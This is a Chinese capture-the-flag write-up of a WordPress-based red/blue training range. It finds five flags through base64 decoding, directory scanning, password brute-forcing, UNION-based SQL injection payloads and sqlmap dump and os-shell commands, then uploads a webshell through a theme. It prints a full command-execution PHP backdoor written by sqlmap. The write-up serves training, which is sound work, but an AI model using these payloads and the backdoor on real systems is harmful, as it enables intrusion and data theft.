安徽公司红蓝军训练营-WriteUp&Docker复现



4 篇文章 1 订阅 订阅专栏

一、前期准备

根据比赛规则所知,这是一道综合web渗透题,题目一共包含5个flag。

	L -					
web	总分	总得分	总失分	当前排名	与前一队分差	
192.168.60.5	100.00	100	0	1	0	
						高分:100.00 蜀山区民兵网络分队
	- 靶场题					
	TOPURS			110 A		
					🛛 未作答 🔽 已作答 🍟	
关则信息 ————————————————————————————————————	10 N					
12-13 14:04:43 蜀山区民兵网络分队队伍 提交了【宝藏1】 题目的答案	【宝藏1】	【宝藏2】	【宝藏3】	【宝藏4】	【宝藏5】	
	. 8/					
(Å)						
					推去	
	項冉次锏入谷案/				提父	

首先我们访问靶场地址: http://192.168.60.5

通过分析可以得出,该网站为一个个人博客,使用的CMS是WordPress5.8.2,编程语言是PHP,数据库是MySql,操作系统是Debian,使用的WordPress主题是Zakra。

安徽公司红蓝军训练营 Hackingclub	TECHNOLOGIES MORE INFO	u u contection of the second
你好! 冒险家! 作者admin 发表日期 2021年12月11日 发表在未分类 无评论 欢迎你来到安徽公司网络安全红蓝军训练营。第二阶段即将结束,在这几天内想必大家都有不少的收获。 已经 [] 阅读更多	内容管理系统 (CMS)	编程语言 pp PHP 操作系统 C Debian 数据库 MySQL WordPress themes
第一个宝藏 作者admin 发表日期 2021年12月11日 发表在未分类 无评论 冒险家你好!欢迎来到阿拉德大陆。受赛丽亚之托,让我在你们出发前送给你们每人一个参见面礼—S 阅读更多	Web 服务器 Apache 2.4.10 2 [] 没有识	Zakra ℃可显示。

接着我们使用nmap对该IP进行目录扫描:

C:\Users\Administrator\Desktop\sq1map-1.5>nmap 192.168.60.5
Starting Nmap 7.70 (https://nmap.org) at 2021-12-13 13:57 ?D1ú±ê×?ê±°
Nmap scan report for 192.168.60.5
Host is up (0.0076s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
3306/tcp open mysq1

发现该IP仅开放了80(sql)和3306(mysql)端口,因此判断flag可能就藏在WordPress网站或者数据库中。

二、【宝藏1】

1.登录网站后我们首先看到一篇叫【你好!冒险家!】的文章。

你好!冒险家!

无评论 发表在未分类 作者admin 发表日期 2021年12月11日

欢迎你来到安徽公司网络安全红蓝军训练营。

第二阶段即将结束,在这几天内想必大家都有不少的收获。

我感觉大家已经秣马厉兵,蓄势待发了。

好的,那么今天我将带领大家来到本次训练营的终点站——阿拉德大陆

据说阿拉德大陆的文明之光最初是由精灵和人类共同创造的,但是后来由于双方关系破裂,精灵逐渐从阿拉德大陆上消 失。

虽然精灵消失了,但是村民们说它们消失前在大陆上留下了**5个**

2.阅读之后我们知道了题目一共设置了5个flag。另外我们还发现了一行蓝字,让我们可以去武器库看看。

绝世宝藏至今无人发现。

作为冒险家的你,想必应该对宝藏十分感兴趣吧!

没错,今天我带你们过来的目的就是为了寻找这5个绝世宝藏。

那么今天谁能成为我们最后的大赢家呢,让我们拭目以待。

穆各位冒险家好运祭!!!

PS: 当你一筹莫展的时候可以去武器库逛一逛, 那里一定有你想要的东西。

3.找到武器库后,我们发现里面内置了一些工具,猜测可能与解题有关。根据介绍推出可能有编码题、目录泄露、爆破、SQL注入题等题型。

武器库

一、阿拉丁大陆武器库:BASE64解码器

你的秘密让我来替你解答吧—暗夜使者

清空 加密 解密 □ 解密为UTF-8字节流

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有 "="符号用作后缀用途。

二、阿拉德大陆武器库: 目录扫描

走过路过不要错过,这里是我珍藏多年的穆密武器。 — 枪炮师

1.dirsearch

下载

2. 御剑后台扫描器(珍藏版)

下载

三、阿拉德大陆武器库:爆破字典

冒险家过来看看,新出炉的密码本,里面包含我从全国各地收集来的6000个弱口令。一格兰蒂斯

6000.txt

下载

四、阿拉德大陆武器库: SQLMAP

注入! 注入! 注入! 一直注一直爽! 一魔法师/*

sqlmap-1.5

下载

4.回到首页我们发现还有第二篇博客,名字叫【第一个宝藏】,想必这里应该藏匿了第一个flag。



5.我们访问后,发现是一串看不懂的字符串,但是根据提示说可能和密码学有关,而且有张写着b64的图片,猜 测该字符串可能经过base64编码了,我们又想到武器库中有base64解码器,于是去解码试试。

一、阿拉丁大陆武器库: BASE64解码器

你的秘密让我来替你解答吧 — 暗夜使者

ZmxhZ3tHMWZ0X0F0X0YxcnN0X1MxZ2h0fQ==	
	//.
清空 加密 解密 □ 解密为UTF-8字节流	
flag{G1ft_At_F1rst_S1ght}	
复制 已复制!	//.

6.解密后得到第一个flag{G1ft_At_F1rst_S1ght}。

三、【宝藏2】

1.在武器库中我们还发现了目录扫描工具。

2.于是我们尝试对文章目录进行扫描,看看有什么可以利用的点。

域名:	http://192.168.60.5			开始扫描	停止扫描
线程: 超时:	10 v (条 CPU核心 * 5最佳) 1 v (秒 超时的页面被丢弃)	 ✓ DIR: 1153 ✓ ASP: 1854 ✓ MDB: 419 	 ✓ ASPX: 822 ✓ PHP: 1066 ✓ JSP: 631 		 ✓ 探測200 □ 探測403 □ 探測3XX
描信息	1: 扫描完成			扫描线程:0	扫描速度: 0/秒
ID		地址			нттр响应
1	http://192.168.60.5/wp-includes	/			200
2	http://192.168.60.5/robots.txt				200
3	http://192.168.60.5/readme.html				200
4	http://192.168.60.5/license.txt				200
5	http://192.168.60.5/www.zip				200
5	нтту.///зе.тео.бо.бучу чантыли	s total grip			200

3.我们发现了有www.zip,robots.txt等文件。

4.于是我们先尝试访问robots.txt,发现题目提示第二个宝藏可能在/wp-admin这个目录下面。

User-agent: * Disallow: /wp-admin/ #The blacksmith said the second treasure might be here Allow: /wp-admin/admin-ajax.php

5.于是我们访问这个目录,发现是WordPress的管理后台。

用户名或电子邮箱地址	
密码	
 ● 记住我 	
亡行感辺2	
↔ 返回到安徽公司红蓝军训练营	
<u>隐私政策</u>	

6.我们右键查看源代码看看有没有源码泄露的问题。

用户名或电子邮箱地址 分比页面创建二 密码 一 ② 予轮眼加密/ □ 记住我 査录 五示网页源代码。检查 忘记密码?	
 用户名或电子邮箱地址 一 密码 ② ③ 定住我 ③ 定住我 ④ 定 	
 密码 ② 写轮眼加密/ □ 记住我 登录 忘记密码? 	维码
密码 ③ 写轮眼加密/ ① 记住我 登录 忘记密码?	
 □ 记住我 登录 □ 远住我 □ 远信我 □ 远信我 	解密
□ 记住我 登录 忘记密码?	
忘记密码?	
忘记密码?	
← 返回到安徽公司红蓝军训练营在线模拟靶场	



四、【宝藏3】

1.打开刚刚下载的www.zip,发现是网站源码,对源码全局搜索"flag{"字段发现dashboard.php中存在flag,但是内容被隐去。

🗉 dast loard) 🛃 wp_welcome_panel Q Find ✓ flaq{ 1 match 🛛 🕂 Aa Contains 1979 1980 * @since 2.5.0 1981 */ 1982 function wp_dashboard_empty() {} 1983 1984 /** * Displays a welcome panel to introduce users to WordPress. 1985 1986 * 1987 * @since 3.3.0 1988 */ 1989 function wp_welcome_panel() { 1990 ?> 1991 <div class="welcome-panel-content"> <h2><?php _e('欢迎来到阿拉德大陆的秘密基地, 凯丽让我给你一个接头暗号: flag{XXX}'); 1992 ?></h2> 1993 <?php _e('We’ve assembled some links to</pre> get you started:'); ?> 1994 <div class="welcome-panel-column-container"> <div class="welcome-panel-column"> 1995 1996 <?php if (current_user_can('customize')) : ?> 1997 <h3><?php _e('Get Started'); ?></h3> 1998 <a class="button button-primary button-hero load-customize" hide-if-no-customize" href="<?php echo wp_customize_url();</pre> ?>"><?php _e('Customize Your Site'); ?> 1990 <?php endif; ?> <a class="button button-primary button-hero hide-if-customize" href="<?php echo esc_url(admin_url('themes.php')); ?>"><?php _e(</pre> 'Customize Your Site'); ?> <?php if (current_user_can('install_themes') || (current_user_can(</pre> 2001 'switch_themes') && count(wp_get_themes(array('allowed' => true)))>1)):?> <?php \$themes_link = current_user_can('customize') ? add_query_arg(</pre> 'autofocus[panel]', 'themes', admin_url('customize.php')) : admin_url('themes.php'); ?> 2003 2004 <?php

2.我们发现该文件位置在wp-admin下,猜测可能是管理员用户的文件,想要读取这个文件需要进入管理后台。

} 15:05:55 on ttys003
:ludes % pwd
;/wordpress/wp-admin/includes
:ludes %

3.另外根据武器库的提示,我们发现有一个爆破字典6000.txt,猜测可能需要爆破才能进入管理后台。4.根据文章发布的作者,我们发现系统后台应该存在一个admin用户。



受赛丽亚之托,让我在你们出发前送给你们每人一个**尊见面礼**——据说想要打开这个礼物需要稍微懂一点密码学的知 识。



4.于是我们打算使用武器库提供的6000.txt爆破字典进行弱口令爆破。

5.打开bp抓去后台登录包,将其发送到intruder模块进行爆破,其中log=admin不变,设置pwd的值为变量。



6.通过对响应包对长度进行排序,发现当pwd=x12345678的时候包长度和其它包不一样,推测WordPress的后 台密码可能为x12345678。



7.使用admin/x12345678进行验证,发现登录成功,获取到第三个flag, flag{The_c0de_1s_0pen_Sesame}。

20 似主舟	心主肉			It's so nice to	o have you back where you belong	显示选项
	12. 天盘					
目以 更新	欢迎来到阿拉德大陆的	秘密基地,凯丽让我给你-	-个接头暗号:	flag{The_c0de_1s_0pe	n_Sesame}	
▶ 文章	我们准备了几个链接供您开始:	:				
3 媒体	开始使用	ד-	一步		更多操作	
页面		ľ	撰写您的第一篇博文		管理小工具	
▶ 评论	目定义您的站点	+	添加"关于"页面		■ 管理菜单	
S 61 70	或 <u>更换主题</u>	â	设置您的主页		打开/关闭评论功能	
 ✓ 外观 ✓ 插件 		0	查看站点		📚 了解更多新手上路知识	
▙ 用户						
≁ 工具	\rm 建议更新PHP版本		~ ~ *	快速草稿		
1 设置	您的站点正在运行不安全的PHP版本(5.6.30-0+deb8u1),应当进行更新。		标题		
1 收起菜单	什么是DHD? 为什么它影响我的站占	19				

五、【宝藏4】

1.根据题目关键字"数据仓库"和武器库中包含sqlmap,猜测第4个宝藏应该在数据库中,考点应该是sql注入。

2.打开www.zip发现致冒险家们.txt、wp-login.php和wp_lostpassword.php三个文件的修改日期和其它文件不一致,猜测出题人可能对这个三个文件进行了编辑。

📄 致冒险家们.txt	昨天下午2:49	509字节	纯文本づ
📰 wp-login.php	昨天下午2:06	45 KB	PHP Sc
틣 wp_lostpassword.php	昨天下午1:25	8 K B	PHP Sc
> 🚞 wp-content	昨天 上午 11:20		文件夹
🔚 robots.txt	前天下午11:48	121字节	纯文本ゴ
📄 index.php	2021/12/10 下午 9:54	405字节	PHP Sc
💭 wp-config.php	2021/12/10 下午 9:30	3 KB	PHP Sc
📰 license.txt	2021/12/10 下午 9:27	20 KB	纯文本了
📄 readme.html	2021/12/10 下午 9:27	7 KB	HTML文
📄 wp-activate.php	2021/12/10 下午 9:27	7 KB	PHP Sc
> 🚞 wp-admin	2021/12/10 下午 9:27		文件夹
🔝 wp-blog-header.php	2021/12/10 下午 9:27	351字节	PHP Sc
📰 wp-comments-post.php	2021/12/10 下午 9:27	2 KB	PHP Sc
📄 wp-config-sample.php	2021/12/10 下午 9:27	3 KB	PHP Sc
🗒 wp-cron.php	2021/12/10 下午 9:27	4 KB	PHP Sc
> 🚞 wp-includes	2021/12/10 下午 9:27		文件夹
📄 wp-links-opml.php	2021/12/10 下午 9:27	2 KB	PHP Sc

3.打开"致冒险家们.txt"文件,发现提示大家进行代码审计。

致冒险家们:

恭喜!你们发现了阿拉德大陆的神秘文件夹,据说这里包含了通往寻宝之路的秘密方法,你现在可以利用你手上的武器来审计这个文件,看看是否有可以利 用的东西。 再次祝你们好运!!

> Date: 2021.12.15 From: asaotomo

4.于是对后面两个文件进行代码审计分析,发现wp_lostpassword.php中包含mysql对账号、密码、数据库名称 以及select查询语句。



5.经过分析发现该查询语句没有进行任何过滤,直接将用户提交的参数【\$username】拼接到select查询语句中进行数据库查询。另外不会审计的同学也可以通过自动化的审计工具进行代码审计。

● 紧急		<pre>26 \$mysql_username = "root";</pre>
	-	27 //用户名
SOI注〉渥洞		28 \$mysql_password = "123123";
wp_lostpassword.php:34,100		29 //密码
		30 \$mysql_database = "wordpress";
● 高危		31 //数据库名称
		32 \$conn = new mysqli(\$mysql_server_name, \$mysql_username, \$mysql_password, \$mysql_database);
文件包含漏洞		33 //构造函数mysql
update.php:100,100		\$username -> \$
		调试信息:"""SELECT * FROM wp users where user login='<**>"""
1 中危	2 ^	过滤:
		▶点击查看漏洞介绍
信息泄露		
webshell.php:1,100		<pre>34 \$sqt = \$conn-squery(`steel * rkum wp_users where user_login=`{susername});</pre>
佐白洲壽		35 // 宣询数据库中时用户名开返回集合
信息汇路 functions php:5727 100		<pre>36 \$row = mysqli_fetch_assoc(\$sql);</pre>
iunotions.php.or21,100		37 //取其中一行
• 15.5		38 if (\$row > 0) {
● 低危		39 //判断是否存在
跨站脚本攻击漏洞 wp_lostpassword.php:43,100		40 \$user = \$row['user_login'];
		41 echo "用户{\$user}存在,可以尝试通过邮箱重置密码!";
		42 } else {
但于 (可勿略)		43 echo "用户{\$username}不存在,无法重置密码! ";
₩ 1定小(円芯哈)		44 }
验让脚本妆 丰得洞		45 ?>
and the man are not in the shift		

6.通过文件名"wp_lostpassword.php",可知该文件应该在忘记密码的地方,我们尝试在后台点击忘记密码去访问。

用户名或电子邮箱地址 admin 密码 ●●●●●●●●●●		
	登录	
忘记密码? ← 返回到安徽公司红蓝军训练营		

7.发现系统会把你输入的用户名带到系统中查询,而执行查询的文件操作的就是存在漏洞的"wp_lostpassword.php"文件。

请输入你的用户名,系统将查询你输入用户名是否 存在。
用户名 获取新密码
登录 ← 返回到安徽公司红蓝军训练营
<u>隐私政策</u>

用户admin存在,可以尝试通过邮箱重置密码!	
请输入该用户绑定的电子邮箱 admin 重置密码	
← 返回到安徽公司红蓝军训练营	

8.通过测试语句1' or sleep(5)#,发先页面5s后才加载完成,证明数据库执行了休眠5s的操作,存在时间盲注。

请输入你的用户名,系统将查询你 存在。	输入用户名是否
用户名 admin' and sleep	(5)# 获取新密码
登录 ← 返回到安徽公司红蓝军训练营	

9.通过输入paylaod: *admin' order by 10#*不报错,而 *admin' order by 11#*报错,可知该表存在十个字段值。

请输入你的用户名,系统将查询你输入用户名是否 存在。	
用户名 admin' order by 10# 获取新密码	
登录 ← 返回到安徽公司红蓝军训练营	

请输入该用户绑定的电子邮箱

admin

用户admin存在,可以尝试通过邮箱重置密码!

重置密码

← 返回到安徽公司红蓝军训练营

用户admin' order by 11#不存在,无法重置密码!	
请输入该用户绑定的电子邮箱 admin 重置密码	
← 返回到安徽公司红蓝军训练营	

10.通过payload: 1'union select 1,2,3,4,5,6,7,8,9,10# 可以判断回显字段。

请输入你的用户名,系统将查询你输入用户名是否 存在。	
用户名 1' union select 1,2,3,4,5,6 获取新密码	
登录 ← 返回到安徽公司红蓝军训练营	

11.发现回显点为第二位,证明可以进行联合注入。

用户2存在,可以尝试通过邮箱重置密码!	
请输入该用户绑定的电子邮箱 admin 重置密码	
← 返回到安徽公司红蓝军训练营	

12.于是我们把payload改为1' union select 1, version(), 3, 4, 5, 6, 7, 8, 9, 10# 成功查询了数据库的版本信息。

用户5.5.54-0+deb8u1-log存在,可以尝试通过邮 箱重置密码! 请输入该用户绑定的电子邮箱	用户5.5.54-0+deb8u1-log存在,可以尝试通过邮 箱重置密码! 请输入该用户绑定的电子邮箱
请输入该用户绑定的电子邮箱	请输入该用户绑定的电子邮箱 admin
请输入该用户绑定的电子邮箱	请输入该用户绑定的电子邮箱 admin

13.使用payload: 1' union select 1,database(),3,4,5,6,7,8,9,10# 查询当前数据库。

用户wordpress存在,可以尝试通过邮箱重置密 码!	
请输入该用户绑定的电子邮箱 admin 重置密码	
← 返回到安徽公司红蓝军训练营	

14.后面我们来正式获取flag, flag{This_1s_My_Dad_G0Id_Bank}。

a.1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4,5,6,7,8,9,10# 査库名

用户 information_schema,mysql,performance_schema,wordpress 存在,可以尝试通过邮箱重置密码!
请输入该用户绑定的电子邮箱 admin 重置密码
← 返回到安徽公司红蓝军训练营

b.1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'wordpress'),3,4,5,6,7,8,9,10# 查表名

用户 flag,wp_commentmeta,wp_comments,wp_links,w 可以尝试通过邮箱重置密码!	p_options,wp_postmeta,wp_posts,wp_term_relationships,wp_term_taxonomy,wp_termmeta,wp_terms,wp_usermeta,wp_users
请输入该用户绑定的电子邮箱 admin 重置密码	
← 返回到安徽公司红蓝军训练营	
<u>隐私政策</u>	

c.1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'flag'),3,4,5,6,7,8,9,10# 查列名

用户id,flag存在,可以尝试通过邮箱重置密码!
请输入该用户绑定,电子邮箱 admin
重置密码
2 诉问到央缴八司红莜安训佐营

d.1' union select 1,(select flag from flag),3,4,5,6,7,8,9,10# 查flag

用户flag{This_1s_My_Dad_G0ld_Bank}存在,可 以尝试通过邮箱重置密码!
请输入该用户绑定的电子邮箱 admin 重置密码
← 返回到安徽公司红蓝军训练营

15.当然大家也可以使用武器库提供的sqlmap来直接获取flag。

通过bp抓post请求包保存为url.txt,然后使用sqlmap命令来进行sql注入:

```
POST /wp_lostpassword.php HTTP/1.1
Host: 192.168.60.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html.application/xhtml+xml.application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wp-login.php?action=lostpassword
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://192.168.60.5
Connection: close
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

user_login=admin&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81

```
python3 sqlmap.py -r url.txt --batch --dbs
python3 sqlmap.py -r url.txt --batch -D wordpress --tables
python3 sqlmap.py -r url.txt --batch -D wordpress -T flag --dump
```



16.当然有人可能想起来之前用nmap扫描发现主机对外开启了3306端口,并且我们也知道了数据库的账号和密码,是否可以直接用数据库管理工具连接读取flag呢?

答案是否定的。因为通过*select user,host from mysql.user;*

我们发现用户root的访问权限为localhost,表示root用户只支持本地访问,无法进行远程连接。

mysql> select user,	host from mysql.	user;
l user	l host l	
+	++	
l root	%	
l root	127.0.0.1	
root	::1	
l root	ed11f485244a	
∣ debian-sys-maint	localhost	
l root	localhost	
+	++	
6 rows in set (0.01	sec)	

六、【宝藏5】

1.我们登录后台后,浏览了一下发现没有其它flag,猜测可能最后一个flag藏在Debian的服务器上,于是我们在 后台寻找上传点,看看能不能上传webshell。

2.经过一番搜寻后,我们在外观-主题处发现了一个名字叫做websell的可疑主题,猜测可能是别人留下的后门。



3.但是我们不知道其真实路径,后来我们回想起我们在前期准备阶段了解到这个站点使用的是Zakra主题,而且 我们现在手中又正好有这个网站的源码,这样我们就可以通过Zakra主题的位置来推测webshell的位置。

vordpress 2/wp-content/themes				
< $>$ themes	≔≎	>>	Q 搜索	
名称	^	修改日期	大/]\
💭 index.php		2021/12/10 下午	F 9:27	28号
> 🚞 twentynineteen		2021/12/10 下午	F9:27	
> 🚞 twentytwenty		2021/12/10 下午	F9:27	
> 🚞 twentytwentyone		2021/12/10 下午	F9:27	
> 🚞 zakra		昨天 上午 11:00		

4.我们发现zakra中存在一个webshell.php。

•••	< > zakra	i≡ ≎ »	Q 搜索	
🔁 工作	名称	へ 修改日期	大小	种类
🛅 2021省政府风险评估项目	> inc	昨天 上午 11:00		文件夹
🗖 cisp-pte	📓 index.php	昨天 上午 11:00	2 KB	PHP Script
	> 🚞 languages	昨天 上午 11:00		文件夹
□ 武汉课题	> 🚞 page-templates	昨天 上午 11:00		文件夹
☐ 00 学习资料	📄 page.php	昨天 上午 11:00	1 KB	PHP Script
	📗 readme.txt	昨天 上午 11:00	19 KB	纯文本文稿
	🔤 screenshot.jpg	昨天 上午 11:00	87 KB	JPEG图像
🔁 安全工具	📄 search.php	昨天 上午 11:00	2 KB	PHP Script
Deskton	🖫 sidebar-footer.php	昨天 上午 11:00	2 KB	PHP Script
Desktop	🔝 sidebar.php	昨天 上午 11:00	1 KB	PHP Script
④ 下载	📄 single.php	昨天 上午 11:00	917字节	PHP Script
👔 giuan	style-editor-block.css	昨天 上午 11:00	9 KB	CSS
	style-rtl.css	昨天 上午 11:00	56 KB	CSS
♬ 昔乐	style.css	昨天 上午 11:00	56 KB	CSS
iCloud	> 🚞 template-parts	昨天 上午 11:00		文件夹
lolouu	📄 webshell.php	昨天 上午 11:00	19字节	PHP Script
位置	🔹 wpml-config.xml	昨天 上午 11:00	777字节	XML Docum

5.我们后来打开发现原来是个假shell,内容为phpinfo。

⊗	0	webshell.php	

<?php phpinfo(); ?>

6.虽然是假webshell,但是可以帮我确定位置,我们验证我们推测的地址是否可以直接访问,于是我们访问 http://192.168.60.5/wp-content/themes/zakra/webshell.php。发现确实可以访问,证明我们推测无误。

PHP Version 5.6.30-0+deb8u1



System	Linux df696be35558 5.10.76-linuxkit #1 SMP PREEMPT Mon Nov 8 11:22:26 UTC 2021 x86_64
Build Date	Feb 8 2017 08:50:48
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/apache2
Loaded Configuration File	/etc/php5/apache2/php.ini
Scan this dir for additional .ini files	/etc/php5/apache2/conf.d
Additional .ini files parsed	/etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini, /etc/php5/apache2/conf.d/20-gd.ini, /etc/php5/apache2/conf.d
PHP API	20131106
PHP Extension	20131226
Zend Extension	220131226
Zend Extension Build	API220131226,NTS
PHP Extension Build	API20131226,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	enabled
Registered PHP Streams	https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed,

7.目前有两个方案,一是去连接webshell主题中别人留下来的webshell,虽然我们可以推测出路径,但是我们不知道webshell的文件名和密码。另一方案是我们自己写一个webshell放到主题里面打包上传到网站中。

8.我们在主题处发现可以自己打包zip的主题压缩包进行上传。

如果您	有.zip格式的主题,可以在这昏	里通过上传的方式安装。
	浏览 未选择文件。	立即安装

9.于是我们修改zakra中webshell.php的内容为一句话木马。

10.然后重新打包上传。



🤨 webshell.php

11.发现此处也会爆出文件路径,我们直接点击替换,覆盖当前版本。



12.覆盖成功后参数使用webshell管理工具进行连接。

正在	安装您上传的主题:zakra.zip		
正在解日	▲ 缩安装包		
正在升级	及主题		
正在移隊	正在移除主题的旧版本		
主题升组	主题升级成功。		
<u>实时预步</u>	<u> 8 启用 转到"主题"页面</u>		
🖺 保存 🗙 清	空 🥂 测试连接		
自基础配置			
URL地址 *	nttp://192.168.60.5/wp-content/themes/Zakra/websnell.pnp		
连接密码*	123		
网站备注			
编码设置	UTF8		
连接类型	PHP		
	编码器		
	○ default (不推荐)		
	• base64		
	O chr		
2 请求信息			
\$* 甘他设罢			

13.在根目录发现flag, flag{C0ngratu1at10n_0n_y0ur_Graduat10n}。



七、思考

1.对sql注入不熟悉的同学其实可以先做【宝藏5】,然后使用webshell管理工具自带的数据库管理工具来 直接读取【宝藏4】数据库中的flag。

救援库	连接剛置	,
示例:	(TMYSQL(/T)(Dlocalhost(/D)(D)root(/U)(P)(/P)(L)utf8(/L)	
配置:	TMTSUL/T) (Dileeilast/AD (Direst/AD (Direst/AD (Direst/AD (Direst/AD) (Direst/AD)	
	c	
	提交	

🔲 〇首页 🚞 192.168.60.5 🛛 🗙 🖹	192.168.60.5 × 🗈 192.168.60.5 × 🖯 192.168.60.5 × 🖻 记事本	× +	○ - □ ×
酸素 I SELECT 'flag' FROM 'flag' OR	DER BY 1 DESC LIMIT 0, 10	土 🖌 执行	星期— 2021-12-13 十—月初七
EXE SILCT flag FROM 'flag' OU KATAKAD'S (C)	DEE bY 1 DEEC LIDIT 0.10 Else Else(Thi:_i:_My_Dad_001d_Back)	± √	 屋期-0001-2-3 +-月初七 □ 協商集別 □ 私商集別 □ 私商集別 □ Type1

2.没有找到【宝藏5】webshell上传点的小伙伴也可以通过【宝藏4】sql注入写shell的方式来直接向网站 目录写入webshell。

python3 sqlmap.py -r url.txt --os-shell --batch

```
[18:04:06] [INFO] going to use a web backdoor for command prompt
[18:04:06] [INFO] fingerprinting the back-end DBMS operating system
[18:04:06] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y
[18:04:06] [WARNING] unable to automatically retrieve the web server document ro
ot
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/a pache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default,
/srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
```

sqlmap写入的shell

	H 13.	H /03	/ \ J	(1-9) I
٩ŷ	tmpbkwpe.php	2021-12-13 10:04:07	866 b	0755
ŝ	tmpututz.php	2021-12-13 10:04:07	814 b	0666
 	tmpusgbk.php	2021-12-13 10:02:16	814 b	0666
\square	wp-content	2021-12-13 09:56:44	4 Kb	0755
٨	wp_lostpassword.php	2021-12-13 08:49:59	7.32 Kb	0644
<i>ر</i> ه	wp-config.php	2021-12-13 07:07:18	3.28 Kb	0666

● ● ● ● ● ●	
■ □ 127.0.0.1 ⑧ □ 127.0.0.1 ⑧ □ 127.0.0.1 ⑧ □ 127.0.0.1 ⑧	•
□ 编辑: /var/www/html/tmpbkwpe.php	_ a ×
/var/www/html/tmpbkwpe.php	2 刷新 🛛 📰 高亮 🔹 🧐 用此编码打开 👻 🖺 保存
<pre>1 <?php \$c=\$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini ("disable_functions");if(!empty(\$z)){\$z=preg_replace("/[,]+/",',', ,\$z);}else{\$z=array();}\$c=\$c." 2>&1\n";function f(\$n){global \$z;ret ("system")]{0}_start();system(\$c);\$w=ob_get_clean();}elseif(f("proc),array(pipe,w),array(pipe,w)),\$t);\$w=NULL;while(!feof(\$t[1])){\$w.=c} ("shell_exec")){\$w=shell_exec(\$c);}elseif(f("passthru")){60_start()} ("popen")){\$x=popen(\$c,r);\$w=NULL;if(is_resource(\$x)){while(!feof(\$t(f("exec")){\$w=array();exec(\$c,\$w);\$w=join(chr(10),\$w).chr(10);}els</pre>	<pre>i_set("max_execution_time",0);\$z=@ini_get ,\$z);\$z=explode(',',\$z);\$z=array_map("trim" turn is_callable(\$n)and!in_array(\$n,\$z);}if(f c_open")){\$y=proc_open(\$c,array(array(pipe,r =fread(\$t[1],512);}@proc_close(\$y);}elseif(f);passthru(\$c);\$w=ob_get_clean();}elseif(f \$x)){\$w.=fread(\$x,512);}}@pclose(\$x);}elseif se{\$w=0;}echo"<pre>\$w</pre>";?></pre>

直接读取flag

do you want to retrieve the command standard output? [Y/n/a] Y command standard output:
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
STV
sys
tmp
usr
var
os-shell> cat /flag
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'flag{COngratulat10n_0n_y0ur_Graduat10n}'

八、赛后复现

1.我已将本次赛题打包成镜像上传到dockerhub,想复现本次竞赛的同学可以自己拉取dokcer镜像。

使用方法:

#拉取docker镜像
docker pull kakaxi1996/acs_ctf:v5
#运行docker镜像,将容器内的80端口映射到本地80端口
docker run -d -p 80:80 kakaxi1996/acs_ctf:v5
#打开浏览器访问http://127.0.0.1即可

С	○ □ 127.0.0.1	騾 ☆	ې 👆 🕻 🕻	🔯 🚮 🖑
苏站点 I	❶ 新手上路 □ 常用网址 ⊕ 京东商城 💽 https://www.cace.or			
	安徽公司红蓝军训练营 Hackingclub		武器库	隐私政策 (
	你好!冒险家!		搜索	
	作者admin 发表日期 2021年12月11日 发表在未分类 无评论			搜索
	欢迎你来到安徽公司网络安全红蓝军训练营。 第二阶段即将结束,在这几天内想必大家都有不少的收获。 我感觉大家 已经 []		近期文音	
	阅读更多		四 刑 入早	
			你好!冒险家!	
			第一个宝藏	
	第一个宝臧			
	作者admin 发表日期 2021年12月11日 发表在未分类 无评论		近 期 评 论	
	冒险家你好!欢迎来到阿拉德大陆。 受赛丽亚之托,让我在你们出发前送给你们每人一个 尊 见面礼—R […]		没有评论可显示。	
	阅读更多			

若想让除本机外的内网其它主机访问,需修改文件/var/www/html/wp-config.php中的以下地址为运行 docker的宿主机对外的IP地址。

₿ 刷新 /var/www/html/wp-config.php 6 * You don't have to use the web site, you can copy this file to "wp-config.php" 7 * and fill in the values. * 8 * This file contains the following configurations: 9 > 10 * * MySQL settings 11 12 * * Secret keys 13 * * Database table prefix 14 * * ABSPATH 15 16 * @link https://wordpress.org/support/article/editing-wp-config-php/ 17 18 * @package WordPress 19 */ 20 nost ** // 21 // ** MySQL settings - You can get this info from 22 /** The name of the database for WordPre 23 24 define('WP_HOME', 'http://127.0.0.1'); //WordPress地址 (URL 25 26 define('WP_SITEURL', 'http://127.0.0.1'); //站点地址 27 28 define('DB_NAME', 'wordpress'); 29 30 /** 